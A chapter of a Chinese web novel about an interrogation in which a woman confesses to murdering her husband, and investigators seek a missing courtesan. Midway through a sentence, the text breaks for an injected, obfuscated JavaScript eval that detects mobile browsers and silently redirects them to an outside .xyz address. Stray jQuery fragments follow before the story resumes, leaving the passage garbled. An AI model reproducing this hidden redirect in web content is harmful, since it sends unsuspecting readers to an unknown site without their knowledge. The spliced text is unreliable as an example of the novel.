11. 洞房夜时

作品:《老大我来救你啦

    呼啸的烈风终于停了下来,整个世界像被掐住嗓子一般闷得发慌。


    审讯室里,气氛紧张。


    庄芸看着面前脸色惨白的尸首,慢慢伸出手,指尖落在他的脸上,又如同触电般猛地收了回来,浑身微微发抖。


    “……我没想过他也会被丢下。”她的嗓子干涩,开口说话显得格外费劲,“娘从小就疼他,他身上只要有一点磕碰,我就会跟着挨打。”


    她挽起袖子,露出半截胳膊,上面遍布大大小小的疤痕。


    一些是她娘和兄长留下的,还有一些是后来做丫鬟时主子打的。


    “娘说庄成是她的命根子,没了庄成,她活不下去……哈。”她鼻腔里滚出一声嘲弄的笑,“结果大家都是她的替死鬼啊。”


    “那我心里也该好受些了。”


    虽然她这么说。但眼神仍旧如同一潭腥臭的死水,没有任何波动。


    几个呼吸过后,她像是想通了什么,把庄成的裹尸布拉了起来盖过头顶,掩去这张再无生机的脸。


    “事已至此,我无话可说,反正人都死了,我不怨他了。”


    她似乎真的释然了。


    仿佛伴随庄成的死亡,那些隔在他们俩中间二十年的怨与恨都被一笔抹去。


    但这段似真似假的表演段宵已经没有耐心陪她演下去,他不耐烦地曲起指骨敲了敲桌子:“庄芸,关于你娘的事,你还有什么要交代的。”


    女人愣了一下,很快耸肩,摇了摇头。


    “不知道,我什么都不知道。”


    “你和春……”“檀香失踪了,你知道吗?”


    隋月明问到一半被段宵出言打断,她不解地看过去,见段宵背过一只手,不着痕迹冲她晃了晃。


    ——不要轻举妄动、不要打草惊蛇。


    她便不再出声,安静等段宵提问。


    “和你有没有关系?”


    可庄芸听到他的话却突然抬起头,神情阴毒狠辣,没有半分犹豫迟疑,如同被点燃的烟花瞬间炸开:“我说了我不知道。”


    “她怎么死的关我什么事!?你们不去抓我娘,非把我关在这儿问些废话问题,难道大人在京城就是这么查案的?随便抓个人,安个破罪名,就把人关起来,锁一辈子?”


    一阵怒吼,歇斯底里。


    亲哥的死没让她变脸,亲娘的跑路没让她痛苦。如今反倒是一个小小妓女的失踪,让她失控了。


    庄芸像把全身力气都用在了这句话上,说完吭哧吭哧大口喘气,胸脯激烈地起伏。


    但段宵脸色一凌,面露不善,抓住她话里的漏洞:“我有说过,她死了吗?”


    一击毙命。


    庄芸的瞳孔甚至因为惊讶猛地一缩。


    “庄芸!”段宵怒呵出声,“我有的是办法撬开你的嘴,你现在老实交代还有活命的机会!檀香到底是不是你弄死的?她的尸体在哪儿!”


    段宵对她的疯言疯语已经忍无可忍,他拔剑出鞘,直指庄芸的额头。


    “别再和我耍花样。”


    谁知庄芸踉跄两步上前,抬头抵住剑的一端,血珠浸了出来,淌过她的眼睛,落进她的唇里。


    但她像感觉不到似的,染血的嘴角冷冷一扯,她笑着说:“我不知道,我是猜的。您实在不信就把我杀了吧,我又不怕死。”


    庄芸挑衅着,她无所畏惧。


    “大人只管动手便是。”


    段宵的剑刺的越来越深,他真的在考虑要不要动手,直到另一个人按住了他的手腕。


    “庄姑娘,”隋月明拿出一幅画,递到庄芸面前,画上是一个狰狞的身体,像被人用力捏成一团后又再次展开的宣纸团。“你认得出我画的是谁吗?”


    啪。


    大拇指用力按过画时留下一道刺眼的红线,如同一把沾血的长矛,贯穿了画上人的身体,而粉嫩的指甲捅在他五官扭曲的脸上,轻而易举破开一个洞。


    庄芸的手用力到泛白,她无比笃定道:“你见过他了。”


    “对。”隋月明一口应下,“在地下室里,只有他一个人。”


    “如果我没猜错,他应该是你的相公,城主府家的大儿子吧!你用计把他骗到家,再和你娘合谋,动手杀了他。”


    此话一出,偌大的审讯室突然陷入死一般的寂静。


    只有庄芸的心跳格外有力,像要冲出胸腔一样。


    砰砰、砰砰……


    空旷的审讯室,微弱跳动的响声仿佛被扩大无数倍,她感觉所有人都能听见她藏在肆无忌惮背后的慌乱。


    上一次心跳这么快,这么急,还是在和张良生的成亲礼上。


    在恍惚之中,看着画中人全然扭曲的身体,她竟不合时宜地走神,很突兀地想起了自己的洞房夜。


    她想起那时良生揽住她的细腰,啄吻她的额头,在她耳边说着那些永结同心,不离不弃的艳词。


    然后,她又想到了檀香。


    庄芸仿佛又一次看见檀香那双死死瞪大的漂亮眼睛,还有她旁边那个被狼啃掉一半的血人。


    血色模糊,她看不清楚那人的脸,只好一步步走近,慢慢伸手,去撩起那人被血水凝成络的长发。


    庄芸认出来了。


    ——浓郁血色中躺着的那团不成人形的尸体,是她的相公。


    是曾让她心脏怦怦跳的张良生。


    “相公。”她听见自己站在张良生的尸体前小声抱怨:“我说过害我伤心的人会被狼咬死,你为什么不信呢?”


    唉,她伸手擦了擦眼角,可恨的张良生。


    头顶像被针贯穿似的剧痛无比,她像被卸掉全身力气,痴痴地虚望着天,好半天后才慢悠悠开口:“对,我杀了他。”


    “他打我,骂我,还把我赶去春光楼,让我成了无双城最大的笑话,我的人生都被他毁掉了,我不该杀他吗?”


    庄芸松开手,被揉皱了的画纸飘然落地,她看着画中人,神色前所未有的怨:


    “他这种人,死一万次都不够。”


    “那檀香呢。”隋月明看着她的动作,问道,“她也被你杀了么,你把她的尸体藏在哪儿了?”


    “……”


    无言,长久沉默。


    庄芸低着头,灵魂仿佛被抽离,她什么也不肯再说了。


    “我们会查出来的。”隋月明蹲下捡起那张纸,抚平上面的褶皱,“庄芸,真相总有大白的一天。”


    你藏不了太久。


    “老大!”恰逢门被推开了,下属探出脑袋喜气洋洋道,“老大,查到张良生的信息了。”


    -


    张良生,城主家的长子,幼时在娘胎里过了病气,出生后身子骨弱,平日深居简出,少有情报。


    这样关系网简单又享尽荣华富贵的男人,几个月后却孤零零地沉睡在阴冷的地下室一角。


    如果不是新上任的段大人带着小弟们闯进驯狼女的老巢,把这具烂透的尸体从地下室里给挖了出来,估计再过段时间那里就只剩一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15055403|162901||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    堆白骨了。


    不过现在这样和白骨化也没什么区别。


    张良生残缺不全的身体和其余零碎的、不再完整的尸体拼凑在一起。


    惨烈,血腥,诡异。


    隋月明指了指张良生裂成两半的尸首:“他是和庄芸捆绑最深的人之一,从他下手可能会更顺,如果能进城主府查就好了。”


    但无双城的城主神秘莫测,素日与大理寺也少有来往。


    连段宵初到此地设下的洗尘宴,城主也只托堂亲送来两幅不值钱的字画,几乎把傲慢彰显的淋漓尽致。


    “咱不敢明闯,要不晚上跑一趟?”李春源灵机一动。


    “偷偷进去?带我一个。”


    “好呀好呀~我给你筹备一套——嗷!”


    李春源的脑袋被卷轴重重一敲,惨叫声一度九曲回肠:“我靠老大,你打我干嘛,有病啊!?”


    “一天到晚就瞎嘚瑟吧你。”段宵无语,“把人带进沟里去了。”


    他敲打完不着调的俩小孩,手一翻收卷轴,抵在自己的下巴上,一点一点的。眼睛凝望着青瓦石上摊开的一片尸体,像在思考什么。


    “……卷宗给我。”


    段宵凭借记忆力往后翻了三页,指尖迅速掠过不重要的信息,很快停在一桩草草写完结语的案件上。


    “一个月前,有个叫孟仙雨的女人来报过官,说家里有人失踪。”他指着人的名字递给隋月明,“但不足三日,这案子就被撤下了,我刚来此地和上一任交接工作时问过这个问题,他的回答很有趣。”


    ——“城主家你得罪不起,尤其是夫人,她脾气不好。年轻人我劝你一句,别为了向上爬给自己乱找麻烦。”


    老人的话响彻耳边。


    “得罪不起也要得罪。”段宵下了命令,“姓隋的,你去写一封邀……算了,春源你来写”想起隋月明的狗爬字,段宵紧急撤回要交代的任务。


    他伸手掀开白布抓住张良生的半边手,从上面撸下大拇指上起了裂纹的翡翠板戒,接着反手一刀,割下张良生衣袍上的精致布料。


    带血丝的戒指和揉皱的锦衣被裹成团交给李春源:“告诉孟仙雨,关于他儿子,我们有线索了,如果想知道,晚上在外厅碰头。”


    他神色晦涩不明:“来与不来,找与不找,都看她。”


    ……


    滴答、滴答、滴答。


    蜡油滴在银子锻成的托盘上,在冷空气里凝固成一小团。


    从下午等到夜间,别说人影,大冬天连个鸟的影子都没瞧见。


    坐在大厅椅子上盯着蜡烛燃烧的隋月明伸出手,偷偷按了按自己的尾椎骨。她有些坐不住了,在椅子上小幅度地晃来晃去。


    “鬼鬼祟祟的,在干嘛?”


    “啊!”


    隋月明被吓了一大跳,差点魂魄离体。她下意识朝着吓唬自己的人用力刮了个白眼,结果翻到一半才想起面前的人是掌握她生死大权的阎王爷。


    费劲把白眼收了回来,在段宵冷冰冰的眼神里她假装乏了,打了个小小的哈欠:“老大,她来不来啊?”


    “等。”段宵没有说别的废话。


    他也在赌。


    从第一根蜡烛熄灭等到第四根蜡烛被点燃,他们都没等到想来的人。


    一直到蜡烛全部燃烧殆尽,段宵终于决定放弃。


    “算了,回去休息,明天再——”


    “噔噔。”


    门开了,有人踏着夜色姗姗来迟。